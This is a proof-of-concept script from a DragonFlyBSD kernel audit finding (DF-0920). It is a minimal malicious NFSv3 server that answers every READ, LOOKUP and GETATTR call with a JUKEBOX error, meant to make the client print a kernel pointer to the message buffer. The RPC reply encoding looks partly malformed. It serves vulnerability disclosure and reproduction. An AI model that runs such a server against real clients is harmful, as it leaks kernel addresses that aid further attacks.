DragonFlyBSD Kernel Audit
DF-0920 / bad_nfs_server.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
bad_nfs_server.py - minimal malicious NFSv3 server for DF-0920 reproduction.

Returns NFSERR_JUKEBOX (== NFSERR_TRYLATER, value 10028) on every READ
reply.  The DragonFly client's nfs_request_processreply() maps this to EAGAIN
(nfs_socket.c:1525), which propagates back to nfssvc_iod_reader() as
info->error == EINPROGRESS, which then unconditionally kprintf()s the
info pointer to the kernel msgbuf at nfs_iod.c:135.

This is a *minimal* skeleton: it implements just enough of MOUNT v1 and
NFS v3 over TCP (port 2049) to convince the client to attempt a READ.
It does not implement a real filesystem, file handles, or async I/O
correctness; it only needs to drive the EINPROGRESS path on the client.
"""
import socket
import struct
import sys

NFS_PORT   = 2049
MOUNTD_PORT = 20048

NFS3_READ = 6
NFS3_GETATTR = 1
NFS3_LOOKUP = 3

NFS3_FH = b"\x00" * 16   # 16-byte pseudo filehandle, big enough for FH bytes

def rpc_record_frag(buf: bytes, last: bool = True) -> bytes:
    # RFC 1831 record marker: 4-byte big-endian length, MSB = last-fragment
    marker = len(buf) | (0x80000000 if last else 0)
    return struct.pack(">I", marker) + buf

def rpc_reply(xid: int, accept_state: int = 0,
              reply_data: bytes = b"", verf_flavor: int = 0,
              verf_body: bytes = b"") -> bytes:
    """Build a minimal RPC reply PDU body (without the record marker)."""
    body = struct.pack(">II", xid, 1)              # xid, type=REPLY
    body += struct.pack(">II", 0, 0)               # reply_state=accepted, verifier=NULLAUTH
    body += struct.pack(">I", verf_flavor) + struct.pack(">I", len(verf_body)) + verf_body
    body += struct.pack(">I", accept_state)         # SUCCESS / PROG_MISMATCH / ...
    body += reply_data
    return body

def nfs_status(code: int) -> bytes:
    return struct.pack(">I", code)

def handle_call(conn, body: bytes) -> bytes:
    xid, mtype = struct.unpack(">II", body[0:8])
    if mtype != 0:                                   # 0 = CALL
        return b""
    rpc_vers, prog, vers, proc = struct.unpack(">IIII", body[8:24])
    # body[24:] = creds + verifier + args ; we ignore them

    if prog == 100003 and vers == 3:                 # NFS v3
        if proc == NFS3_GETATTR:
            # GETATTR reply: status + attrs (we send 0 bytes of attrs and JUKEBOX)
            return rpc_record_frag(rpc_reply(xid, 0, nfs_status(10028)))
        elif proc == NFS3_LOOKUP:
            # LOOKUP reply: status + fh + attrs - we just say JUKEBOX
            return rpc_record_frag(rpc_reply(xid, 0, nfs_status(10028)))
        elif proc == NFS3_READ:
            # READ reply: status only = NFSERR_JUKEBOX -> client EAGAIN
            return rpc_record_frag(rpc_reply(xid, 0, nfs_status(10028)))
        else:
            # PROC_UNAVAIL for anything else
            return rpc_record_frag(rpc_reply(xid, 0, b""))
    elif prog == 100005:                             # MOUNT v1/v3
        # Tell the client "/export" -> our pseudo FH so it tries NFS ops
        fh_len = struct.pack(">I", len(NFS3_FH))
        return rpc_record_frag(rpc_reply(xid, 0, nfs_status(0) + fh_len + NFS3_FH))
    else:
        return rpc_record_frag(rpc_reply(xid, 0, b""))

def serve(port: int):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", port))
    s.listen(8)
    print(f"[*] listening on 0.0.0.0:{port}", flush=True)
    while True:
        conn, addr = s.accept()
        print(f"[+] conn from {addr}", flush=True)
        buf = b""
        try:
            while True:
                chunk = conn.recv(8192)
                if not chunk:
                    break
                buf += chunk
                while len(buf) >= 4:
                    (marker,) = struct.unpack(">I", buf[:4])
                    plen = marker & 0x7fffffff
                    if len(buf) < 4 + plen:
                        break
                    pdu = buf[4:4 + plen]
                    buf = buf[4 + plen:]
                    reply = handle_call(conn, pdu)
                    if reply:
                        conn.sendall(reply)
        except Exception as e:
            print(f"[!] {e}", flush=True)
        finally:
            conn.close()

if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else NFS_PORT
    serve(port)